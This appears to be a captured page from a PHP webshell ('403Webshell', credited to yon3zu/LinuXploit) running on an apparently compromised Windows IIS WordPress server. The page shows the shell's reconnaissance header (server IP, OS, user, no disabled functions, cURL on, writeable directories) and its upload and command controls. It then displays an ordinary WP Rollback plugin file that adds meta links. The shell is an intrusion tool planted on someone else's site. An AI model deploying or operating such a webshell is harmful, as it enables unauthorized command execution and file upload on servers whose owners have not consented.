403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.127
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /inetpub/wwwroot/ia/wp-content/plugins/wp-rollback/src/PluginSetup/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /inetpub/wwwroot/ia/wp-content/plugins/wp-rollback/src/PluginSetup/PluginMeta.php
<?php

/**
 * This is used to add plugin row meta-links.
 *
 * @package WpRollback\PluginSetup
 */

declare(strict_types=1);

namespace WpRollback\Free\PluginSetup;

use WpRollback\Free\Core\Constants;
use WpRollback\SharedCore\Core\SharedCore;

/**
 */
class PluginMeta
{
    /**
     * Adds a link in the wider column. Typically used to add docs and support plugin row meta-links.
     *
     */
    public static function addPluginRowMeta(array $pluginMeta, string $pluginFile): array
    {
        $constants = SharedCore::container()->make(Constants::class);
        
        if ($constants->getBasename() !== $pluginFile) {
            return $pluginMeta;
        }

        $newMetaLinks = [
            sprintf(
                '<a href="%1$s" target="_blank">%2$s</a>',
                esc_url(
                    add_query_arg(
                        [
                            'utm_source'   => 'free-plugin',
                            'utm_medium'   => 'plugin-row',
                            'utm_campaign' => 'documentation',
                        ],
                        'https://docs.wprollback.com/'
                    )
                ),
                esc_html__('Documentation', 'wp-rollback')
            ),
            sprintf(
                '<a href="%1$s" target="_blank">%2$s</a>',
                esc_url(
                    add_query_arg(
                        [
                            'utm_source'   => 'free-plugin',
                            'utm_medium'   => 'plugin-row',
                            'utm_campaign' => 'support',
                        ],
                        'https://wprollback.com/support/'
                    )
                ),
                esc_html__('Support', 'wp-rollback')
            ),
            sprintf(
                '<a href="%1$s" target="_blank" style="color: #6d28d9; font-weight: bold;">%2$s</a>',
                esc_url(
                    add_query_arg(
                        [
                            'utm_source'   => 'free-plugin',
                            'utm_medium'   => 'plugin-row',
                            'utm_campaign' => 'go-pro',
                        ],
                        'https://wprollback.com/pricing/'
                    )
                ),
                esc_html__('Go Pro!', 'wp-rollback')
            ),
        ];

        return array_merge($pluginMeta, $newMetaLinks);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit